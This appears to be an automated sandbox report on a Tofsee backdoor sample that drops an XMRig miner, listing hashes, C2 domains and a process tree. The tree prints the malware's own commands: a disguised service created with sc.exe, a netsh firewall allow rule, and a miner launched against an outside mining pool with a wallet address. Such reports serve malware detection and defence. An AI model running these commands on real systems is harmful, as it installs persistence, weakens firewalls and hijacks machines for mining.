Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/10/2022, 11:55

General

  • Target
    file.exe
  • Size 261KB
  • Sample221029-n3e8wsfddp
  • SHA256 fc86b743c00a7fb27c565d6979a98208a74f332149b5e26406333b37ba0a2570
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pxgfcsx\
      2⤵
        PID:632
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lrjydwn.exe" C:\Windows\SysWOW64\pxgfcsx\
        2⤵
          PID:4292
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pxgfcsx binPath= "C:\Windows\SysWOW64\pxgfcsx\lrjydwn.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2356
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pxgfcsx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1564
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pxgfcsx
          2⤵
          • Launches sc.exe
          PID:344
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4732
      • C:\Windows\SysWOW64\pxgfcsx\lrjydwn.exe
        C:\Windows\SysWOW64\pxgfcsx\lrjydwn.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3888
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4152
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2736
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 660
          2⤵
          • Program crash
          PID:3456
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 732
          2⤵
          • Program crash
          PID:4548
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 740
          2⤵
          • Program crash
          PID:4684
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3888 -ip 3888
        1⤵
          PID:1504
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3888 -ip 3888
          1⤵
            PID:1996
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3888 -ip 3888
            1⤵
              PID:2588

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  lrjydwn.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\lrjydwn.exe
                  • Size 14.1MB
                  • SHA256 b9e13068b89e2554e3dd583750569ae06679d53cd1d49ebb884d60243294c927
                  • MD5 SHA1 SHA512 SSDEEP

                  lrjydwn.exe

                  • Path C:\Windows\SysWOW64\pxgfcsx\lrjydwn.exe
                  • Size 14.1MB
                  • SHA256 b9e13068b89e2554e3dd583750569ae06679d53cd1d49ebb884d60243294c927
                  • MD5 SHA1 SHA512 SSDEEP

                  memory/2708-144-0x0000000000400000-0x0000000002C2F000-memory.dmp

                  memory/2708-134-0x0000000000400000-0x0000000002C2F000-memory.dmp

                  memory/2708-133-0x0000000003090000-0x00000000030A3000-memory.dmp

                  memory/2708-143-0x0000000002CB7000-0x0000000002CCD000-memory.dmp

                  memory/2708-132-0x0000000002CB7000-0x0000000002CCD000-memory.dmp

                  memory/2736-177-0x0000000000A00000-0x0000000000AF1000-memory.dmp

                  memory/2736-172-0x0000000000A00000-0x0000000000AF1000-memory.dmp

                  memory/3888-151-0x0000000000400000-0x0000000002C2F000-memory.dmp

                  memory/3888-149-0x0000000002C81000-0x0000000002C97000-memory.dmp

                  memory/4152-146-0x0000000001000000-0x0000000001015000-memory.dmp

                  memory/4152-150-0x0000000001000000-0x0000000001015000-memory.dmp

                  memory/4152-152-0x0000000001000000-0x0000000001015000-memory.dmp

                  memory/4152-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                  memory/4152-156-0x0000000002370000-0x0000000002376000-memory.dmp

                  memory/4152-159-0x0000000002380000-0x0000000002390000-memory.dmp

                  memory/4152-162-0x00000000023D0000-0x00000000023D5000-memory.dmp

                  memory/4152-165-0x0000000007C00000-0x000000000800B000-memory.dmp

                  memory/4152-168-0x00000000023E0000-0x00000000023E7000-memory.dmp